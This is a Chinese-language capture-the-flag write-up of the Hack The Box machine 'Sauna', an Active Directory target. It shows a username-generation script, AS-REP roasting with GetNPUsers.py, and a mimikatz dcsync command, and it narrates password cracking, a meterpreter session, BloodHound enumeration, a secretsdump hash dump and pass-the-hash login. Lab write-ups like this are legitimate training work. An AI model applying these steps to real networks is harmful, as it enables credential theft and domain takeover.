Hack the box Sauna

1.1前言

这是一台有关域攻击的靶机,收获挺多。做的我头皮发麻

1.2attack

开局nmap

nmap -sV -sC 10.10.10.175

可以看到有个80端口,打开了康康

ssh -R80:10.10.10.175:80 root@192.168.1.110 #映射到本地局域网

信息收集了一下

gobuster跑目录,得到的都是静态目录(基本可以断定是个静态站)

gobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirb/big.txt -t 30

enum4linux测试一波

enum4linux -U 10.10.10.175

没有得到有效的用户名,不过可以知道域是:EGOTISTICALBANK
域SID:S-1-5-21-2966785786-3096785034-1186376766

由于没有新的思路,去论坛找到了两个提示

对于用户:谷歌“ AD攻击”,并尝试找到有效的用户
对于root:基本枚举,然后检查AD权限

找到了很多开放的端口,但是除了域名外,对其他任何端口都毫无用处。研究了网站上的所有源代码和HTTP请求,没有任何用处,没有对SMB或其他任何东西的匿名访问,即使我可以从L ***获得一些非常基本的信息,但实际上我却无法获得任何用户名或任何东西有趣。Dirbuster在网站上也没有找到任何东西,它们全都是纯HTML格式,没有javascript可以查看,或者类似的东西,所以我很困惑,可能不得不求助于在它上抛出随机的impacket脚本

并且还有位兄dei给出了个链接:Active Directory user naming conventions

在此期间,我翻了一下网页。看见了about页面的用户名

我通过py生成了一些用户名,最终得到

#@author:九世
#@file:shen.py
#@time:2020/3/9

import os

class SHen(object):
    def __init__(self,filename):
        if os.path.exists(filename):
            print('[+] Found file:{}'.format(filename))
        else:
            print('[-] Not Found file:{}'.format(filename))
            exit()

        self.file=filename
        self.shengc()

    def shengc(self):
        dk=open(self.file,'r',encoding='utf-8')
        for r in dk.readlines():
            data="".join(r.split('\n'))
            jg1=".".join(data.split(' '))
            jg2=".a.".join(data.split(' '))
            jg3=data.split(' ')
            print(jg1)
            print(jg2)
            print(jg3[0][0]+jg3[1])
            print(jg3[0][0]+'a'+jg3[1])
            print(jg3[0][0] +jg3[0][1]+ jg3[1])
            print(jg3[0][0] + jg3[0][1]+'a'+ jg3[1])

if __name__ == '__main__':
    obj=SHen('test.txt')
Fergus.Smith
Fergus.a.Smith
FSmith
FaSmith
FeSmith
FeaSmith
Hugo.Bear
Hugo.a.Bear
HBear
HaBear
HuBear
HuaBear
Steven.Kerb
Steven.a.Kerb
SKerb
SaKerb
StKerb
StaKerb
Shaun.Coins
Shaun.a.Coins
SCoins
SaCoins
ShCoins
ShaCoins
Bowie.Taylor
Bowie.a.Taylor
BTaylor
BaTaylor
BoTaylor
BoaTaylor
Sophie.Driver
Sophie.a.Driver
SDriver
SaDriver
SoDriver
SoaDriver

通过kerberos用户枚举,我们得到有个有效的TGT(虽然枚举用户名显示错误但是检查out.txt的时候发现了个TGT)

python3 GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -format john -outputfile /root/Desktop/out.txt -dc-ip 10.10.10.175

因此我通过john爆破之后得出了用户的有效密码

使用evil-winrm登录上去,捞走key

我还在C:\Users目录下见到了别的用户

为了获得更多有效的信息,我将其反弹到meterpreter中

bypassUAC重来没成功过....这次也不例外


之后通过winPEAS找到了有趣的凭据

由于给出的用户名不正确,我还用msf的smb_login模块验证了一下

上线到meterpreter

使用SharpHound.exe收集了域内的信息,并通过meterpreter下载到本地


导入SharpHound找到当前用户名,右键help给了提示

译文

在BloodHound中同时具有GetChanges和GetChangesAll权限时,您可以使用mimikatz执行dcsync攻击以获取任意主体的密码散列:
lsadump::dcsync/domain:testlab.local/user:Administrator
您还可以执行更复杂的ExtraSids攻击来跳域信任。有关这方面的信息,请参阅“引用”选项卡中的blod post by harmj0y。

通过secretsdump.py或在mimikatz都行,这里我用secrestdump进行了hashdump

通过evil-winrm进行hash连接捞key

1.3总结

1.1学习到了域渗透搞下域控的多种方法
1.2可以注意web上的about页面收集来做用户名进行枚举
1.3impacket工具的使用
1.4原来evil-winrm可以走hash连接
1.5SharpHound工具的使用
1.6通过SharpHound获取搞下域控的最快思路

1.4参考链接

Windows内网协议学习NTLM篇之漏洞概述 - 安全客,安全资讯平台
bloodhound的用法 | 九世的博客
Windows内网协议学习LDAP篇之域权限下 - 安全客,安全资讯平台

2 Likes